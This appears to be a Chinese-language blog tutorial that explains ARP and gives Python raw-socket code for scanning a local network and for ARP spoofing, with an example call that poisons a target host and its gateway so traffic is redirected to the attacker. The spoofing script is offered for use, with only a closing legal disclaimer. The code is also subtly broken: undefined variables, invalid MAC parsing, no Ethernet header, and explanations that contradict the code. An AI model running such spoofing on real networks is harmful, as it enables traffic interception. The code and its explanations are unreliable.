Python ARP扫描与欺骗实现全程详解

概述

ARP（Address Resolution Protocol）地址解析协议是TCP/IP协议族下运用链路层的一个通讯协议，主要用于解析目标设备的硬件地址（MAC地址）与网络地址（IP地址）的对应关系，实现数据包在局域网上的发送与接收。

本文将详细讲解如何使用Python实现ARP扫描，发现局域网中的设备，以及ARP欺骗攻击，伪造MAC地址，达到欺骗目标设备的目的。

ARP扫描实现

ARP扫描通过构造ARP请求，向局域网的所有设备询问指定地址对应的MAC地址，从而获得局域网内所有设备的IP地址和MAC地址。

以下是Python实现ARP扫描的示例代码：

import os
import sys
import socket
import struct
from fcntl import ioctl

# 获取本机IP地址
def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])

# 构造ARP请求包
def get_arp_packet(ip_address):
    mac_address = 'ff:ff:ff:ff:ff:ff'
    arp_header = struct.pack("!HHBBH6s4s6s4s",
                             0x0001,   # 硬件类型
                             0x0800,   # 协议类型IPv4
                             6,        # 硬件地址长度
                             4,        # IP地址长度
                             0x0001,   # 操作类型:ARP请求
                             bytes.fromhex(mac_address),    # 发送方MAC地址
                             socket.inet_aton(get_ip_address('eth0')),   # 发送方IP地址
                             bytes.fromhex('00'*6),          # 目标MAC地址
                             socket.inet_aton(ip_address))  # 目标IP地址
    return arp_header

# 发送ARP请求
def send_arp_request(ip_address):
    try:
        arp_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806))
        arp_socket.bind(('eth0', 0))
        arp_header = get_arp_packet(ip_address)
        arp_socket.send(arp_header)
        while True:
            response = arp_socket.recv(1024)
            target_mac = response[6:12].hex()
            if target_mac != '000000000000':   # 排除本机响应
                print('IP地址：{}，MAC地址：{}'.format(ip_address, target_mac))
                break
        arp_socket.close()
    except Exception as e:
        print('ARP请求发送失败：{}'.format(str(e)))

在例子中，我们首先通过ifname参数得到本机的IP地址，然后通过get_arp_packet函数构造ARP请求包。其中，硬件类型为1表示以太网，协议类型为IPV4。操作类型为ARP请求，发送方MAC地址为本机MAC地址，发送方IP地址为本机IP地址，目标MAC地址为广播地址（ff:ff:ff:ff:ff:ff），目标IP地址为要扫描的目标IP地址。

最后，我们通过send_arp_request函数发送ARP请求，并等待响应。如果接收到响应，说明目标设备存在，可以获得其MAC地址。否则说明目标设备不存在或不在线。

ARP欺骗实现

ARP欺骗攻击指的是通过伪造ARP响应包，欺骗目标设备将数据包发送到攻击者指定的MAC地址上。

以下是Python实现ARP欺骗攻击的示例代码：

import os
import sys
import socket
import struct
from fcntl import ioctl
import time

# 获取本机IP地址和MAC地址
def get_interface(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    info = ioctl(s.fileno(), 0x8927, struct.pack('256s', bytes(ifname[:15], 'utf-8')))
    mac_address = info[18:24].hex(':')
    ip_address = socket.inet_ntoa(info[20:24])
    return ip_address, mac_address

# 构造ARP响应包
def get_arp_response_packet(src_mac_address, src_ip_address, dst_mac_address, dst_ip_address):
    arp_header = struct.pack("!HHBBH6s4s6s4s",
                             0x0001,   # 硬件类型
                             0x0800,   # 协议类型IPv4
                             6,        # 硬件地址长度
                             4,        # IP地址长度
                             0x0002,   # 操作类型:ARP响应
                             bytes.fromhex(src_mac_address),    # 发送方MAC地址
                             socket.inet_aton(src_ip_address),  # 发送方IP地址
                             bytes.fromhex(dst_mac_address),    # 目标MAC地址
                             socket.inet_aton(dst_ip_address))  # 目标IP地址
    return arp_header

# 欺骗目标设备
def arp_spoofing(target_ip_address, gateway_ip_address):
    try:
        _, local_mac_address = get_interface('eth0')   # 获取本机IP地址和MAC地址
        gateway_mac_address = ''    # 网关MAC地址
        arp_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806))
        arp_socket.bind(('eth0', 0))
        while True:
            # 发送伪造的网关ARP响应包给目标设备
            target_arp_packet = get_arp_response_packet(local_mac_address, gateway_ip_address,
                                                        target_mac_address, target_ip_address)
            arp_socket.send(target_arp_packet)
            # 发送伪造的目标设备ARP响应包给网关
            gateway_arp_packet = get_arp_response_packet(local_mac_address, target_ip_address,
                                                         gateway_mac_address, gateway_ip_address)
            arp_socket.send(gateway_arp_packet)
            time.sleep(2)
    except Exception as e:
        print('ARP欺骗攻击失败：{}'.format(str(e)))

在例子中，我们通过get_interface函数获取本机的IP地址和MAC地址，然后通过get_arp_response_packet函数构造ARP响应包，其中，发送方MAC地址为本机MAC地址，发送方IP地址为要欺骗的IP地址，目标MAC地址为目标设备MAC地址或网关MAC地址，目标IP地址为目标设备IP地址或网关IP地址。

最后，我们通过arp_spoofing函数发送伪造的ARP响应包，欺骗目标设备将其发送的数据包发送到本机，实现ARP欺骗攻击。

示例说明

• 示例1：扫描局域网内所有设备的IP地址和MAC地址

for i in range(1, 255):
    ip_address = '192.168.1.{}'.format(i)
    send_arp_request(ip_address)

在该示例中，我们通过循环发送ARP请求方式，扫描局域网内的所有设备的IP地址和MAC地址。

• 示例2：ARP欺骗攻击

arp_spoofing('192.168.1.100', '192.168.1.1')

在该示例中，我们通过arp_spoofing函数欺骗IP地址为192.168.1.100的设备将其发送的数据包发送到本机，同时伪造本机的MAC地址向网关发送ARP响应包，实现ARP欺骗攻击。

总结

本文详细讲解了Python实现ARP扫描和ARP欺骗攻击的过程和代码示例，希望能够帮助读者了解ARP协议以及网络安全相关知识，同时提醒读者在实际操作过程中遵守法律法规，不要用于非法用途。